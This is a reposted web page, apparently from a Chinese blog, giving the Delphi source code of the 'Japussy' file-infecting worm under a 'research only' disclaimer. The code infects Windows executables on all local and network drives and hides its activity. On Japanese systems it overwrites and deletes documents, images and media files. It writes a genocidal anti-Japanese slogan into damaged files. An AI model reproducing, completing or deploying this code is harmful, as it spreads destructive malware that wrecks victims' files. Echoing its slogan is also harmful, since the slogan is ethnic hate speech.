) 熊貓燒香 – 核心源碼 (僅供研究使用!後果自行負責 )

熊貓燒香 - 核心源碼   
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僅供研究使用!後果自行負責

 

代碼:--------------------------------------------------------------------------------
程式碼

program Japussy;
uses
  Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
  HeaderSize = 82432;                  //病毒體的大小
  IconOffset = $12EB8;                 //PE檔案主表徵圖的位移量
 
  //在我的Delphi5 SP1上面編譯得到的大小，其它版本的Delphi可能不同
  //尋找2800000020的十六進位字串可以找到主表徵圖的位移量
  
{
  HeaderSize = 38912;                  //Upx壓縮過病毒體的大小
  IconOffset = $92BC;                  //Upx壓縮過PE檔案主表徵圖的位移量
 
  //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
  IconSize   = $2E8;                   //PE檔案主表徵圖的大小--744位元組
  IconTail   = IconOffset + IconSize;  //PE檔案主表徵圖的尾部
  ID         = $44444444;              //感染標記
 
  //垃圾碼，以備寫入
  Catchword = 'If a race need to be killed out, it must be Yamato. ' +
              'If a country need to be destroyed, it must be Japan! ' +
              '*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
  stdcall; external 'Kernel32.dll'; //函式宣告
var
  TmpFile: string;
  Si:      STARTUPINFO;
  Pi:      PROCESS_INFORMATION;
  IsJap:   Boolean = False; //日文作業系統標記
{ 判斷是否為Win9x }
function IsWin9x: Boolean;
var
  Ver: TOSVersionInfo;
begin
  Result := False;
  Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  if not GetVersionEx(Ver) then
    Exit;
  if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
    Result := True;
end;
{ 在流之間複製 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
  dStartPos: Integer; Count: Integer);
var
  sCurPos, dCurPos: Integer;
begin
  sCurPos := Src.Position;
  dCurPos := Dst.Position;
  Src.Seek(sStartPos, 0);
  Dst.Seek(dStartPos, 0);
  Dst.CopyFrom(Src, Count);
  Src.Seek(sCurPos, 0);
  Dst.Seek(dCurPos, 0);
end;
{ 將宿主檔案從已感染的PE檔案中分離出來，以備使用 }
procedure ExtractFile(FileName: string);
var
  sStream, dStream: TFileStream;
begin
  try
    sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
    try
      dStream := TFileStream.Create(FileName, fmCreate);
      try
        sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分
        dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
      finally
        dStream.Free;
      end;
    finally
      sStream.Free;
    end;
  except
  end;
end;
{ 填充STARTUPINFO結構 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
  Si.cb := SizeOf(Si);
  Si.lpReserved := nil;
  Si.lpDesktop := nil;
  Si.lpTitle := nil;
  Si.dwFlags := STARTF_USESHOWWINDOW;
  Si.wShowWindow := State;
  Si.cbReserved2 := 0;
  Si.lpReserved2 := nil;
end;
{ 髮帶毒郵件 }
procedure SendMail;
begin
  //哪位仁兄願意完成之？
end;
{ 感染PE檔案 }
procedure InfectOneFile(FileName: string);
var
  HdrStream, SrcStream: TFileStream;
  IcoStream, DstStream: TMemoryStream;
  iID: LongInt;
  aIcon: TIcon;
  Infected, IsPE: Boolean;
  i: Integer;
  Buf: array[0..1] of Char;
begin
  try //出錯則檔案正在被使用，退出
    if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染
      Exit;
    Infected := False;
    IsPE     := False;
    SrcStream := TFileStream.Create(FileName, fmOpenRead);
    try
      for i := 0 to $108 do //檢查PE檔案頭
      begin
        SrcStream.Seek(i, soFromBeginning);
        SrcStream.Read(Buf, 2);
        if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記
        begin
          IsPE := True; //是PE檔案
          Break;
        end;
      end;
      SrcStream.Seek(-4, soFromEnd); //檢查感染標記
      SrcStream.Read(iID, 4);
      if (iID = ID) or (SrcStream.Size < 10240) then //太小的檔案不感染
        Infected := True;
    finally
      SrcStream.Free;
    end;
    if Infected or (not IsPE) then //如果感染過了或不是PE檔案則退出
      Exit;
    IcoStream := TMemoryStream.Create;
    DstStream := TMemoryStream.Create;
    try
      aIcon := TIcon.Create;
      try
        //得到被感染檔案的主表徵圖(744位元組)，存入流
        aIcon.ReleaseHandle;
        aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
        aIcon.SaveToStream(IcoStream);
      finally
        aIcon.Free;
      end;
      SrcStream := TFileStream.Create(FileName, fmOpenRead);
      //標頭檔
      HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
      try
        //寫入病毒體主表徵圖之前的資料
        CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
        //寫入目前程式的主表徵圖
        CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
        //寫入病毒體主表徵圖到病毒體尾部之間的資料
        CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
        //寫入宿主程式
        CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
        //寫入已感染的標記
        DstStream.Seek(0, 2);
        iID := $44444444;
        DstStream.Write(iID, 4);
      finally
        HdrStream.Free;
      end;
    finally
      SrcStream.Free;
      IcoStream.Free;
      DstStream.SaveToFile(FileName); //替換宿主檔案
      DstStream.Free;
    end;
  except;
  end;
end;

{ 將目標檔案寫入垃圾碼後刪除 }
procedure SmashFile(FileName: string);
var
  FileHandle: Integer;
  i, Size, Mass, Max, Len: Integer;
begin
  try
    SetFileAttributes(PChar(FileName), 0); //去掉唯讀屬性
    FileHandle := FileOpen(FileName, fmOpenWrite); //開啟檔案
    try
      Size := GetFileSize(FileHandle, nil); //檔案大小
      i := 0;
      Randomize;
      Max := Random(15); //寫入垃圾碼的隨機次數
      if Max < 5 then
        Max := 5;
      Mass := Size div Max; //每個間隔塊的大小
      Len := Length(Catchword);
      while i < Max do
      begin
        FileSeek(FileHandle, i * Mass, 0); //定位
        //寫入垃圾碼，將檔案徹底破壞掉
        FileWrite(FileHandle, Catchword, Len);
        Inc(i);
      end;
    finally
      FileClose(FileHandle); //關閉檔案
    end;
    DeleteFile(PChar(FileName)); //刪除之
  except
  end;
end;
{ 獲得可寫的磁碟機列表 }
function GetDrives: string;
var
  DiskType: Word;
  D: Char;
  Str: string;
  i: Integer;
begin
  for i := 0 to 25 do //遍曆26個字母
  begin
    D := Chr(i + 65);
    Str := D + ':';
    DiskType := GetDriveType(PChar(Str));
    //得到本地磁碟和網路盤
    if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
      Result := Result + D;
  end;
end;
{ 遍曆目錄，感染和摧毀檔案 }
procedure LoopFiles(Path, Mask: string);
var
  i, Count: Integer;
  Fn, Ext: string;
  SubDir: TStrings;
  SearchRec: TSearchRec;
  Msg: TMsg;
  function IsValidDir(SearchRec: TSearchRec): Integer;
  begin
    if (SearchRec.Attr <> 16) and  (SearchRec.Name <> '.') and
      (SearchRec.Name <> '..') then
      Result := 0 //不是目錄
    else if (SearchRec.Attr = 16) and  (SearchRec.Name <> '.') and
      (SearchRec.Name <> '..') then
        Result := 1 //不是根目錄
    else Result := 2; //是根目錄
  end;
begin
  if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
  begin
    repeat
      PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整訊息佇列，避免引起懷疑
      if IsValidDir(SearchRec) = 0 then
      begin
        Fn := Path + SearchRec.Name;
        Ext := UpperCase(ExtractFileExt(Fn));
        if (Ext = '.EXE') or (Ext = '.SCR') then
        begin
          InfectOneFile(Fn); //感染可執行檔       
        end
        else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
        begin
          //感染HTML和ASP檔案，將Base64編碼後的病毒寫入
          //感染瀏覽此網頁的所有使用者
          //哪位大兄弟願意完成之？
        end
        else if Ext = '.WAB' then //Outlook地址簿檔案
        begin
          //擷取Outlook郵件地址
        end
        else if Ext = '.ADC' then //Foxmail地址自動完成檔案
        begin
          //擷取Foxmail郵件地址
        end
        else if Ext = 'IND' then //Foxmail地址簿檔案
        begin
          //擷取Foxmail郵件地址
        end
        else
        begin
          if IsJap then //是倭文作業系統
          begin
            if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
              (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
              (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
              (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
              (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
              (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
                SmashFile(Fn); //摧毀檔案
          end;
        end;
      end;
      //感染或刪除一個檔案後睡眠200毫秒，避免CPU佔用率過高引起懷疑
      Sleep(200);
    until (FindNext(SearchRec) <> 0);
  end;
  FindClose(SearchRec);
  SubDir := TStringList.Create;
  if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
  begin
    repeat
      if IsValidDir(SearchRec) = 1 then
        SubDir.Add(SearchRec.Name);
    until (FindNext(SearchRec) <> 0);
    end;
  FindClose(SearchRec);
  Count := SubDir.Count - 1;
  for i := 0 to Count do
    LoopFiles(Path + SubDir.Strings[i] + '', Mask);
  FreeAndNil(SubDir);
end;
{ 遍曆磁碟上所有的檔案 }
procedure InfectFiles;

var
  DriverList: string;
  i, Len: Integer;
begin
  if GetACP = 932 then //日文作業系統
    IsJap := True; //去死吧！
  DriverList := GetDrives; //得到可寫的磁碟列表
  Len := Length(DriverList);
  while True do //死迴圈
  begin
    for i := Len downto 1 do //遍曆每個磁碟機
      LoopFiles(DriverList[i] + ':', '*.*'); //感染之
    SendMail; //髮帶毒郵件
    Sleep(1000 * 60 * 5); //睡眠5分鐘
  end;
end;
{ 主程式開始 }
begin
  if IsWin9x then //是Win9x
    RegisterServiceProcess(GetCurrentProcessID, 1) //註冊為服務進程
  else //WinNT
  begin
    //遠程線程映射到Explorer進程
    //哪位兄台願意完成之？
  end;
  //如果是原始病毒體自己
  if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
    InfectFiles //感染和發郵件
  else //已寄生於宿主程式上了，開始工作
  begin
    TmpFile := ParamStr(0); //建立臨時檔案
    Delete(TmpFile, Length(TmpFile) - 4, 4);
    TmpFile := TmpFile + #32 + '.exe'; //真正的宿主檔案，多一個空格
    ExtractFile(TmpFile); //分離之
    FillStartupInfo(Si, SW_SHOWDEFAULT);
    CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
      0, nil, '.', Si, Pi); //建立新進程運行之
    InfectFiles; //感染和發郵件
  end;
end.

 

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完畢！

http://www.blogjava.net/wangxinsh55/archive/2007/02/09/98903.html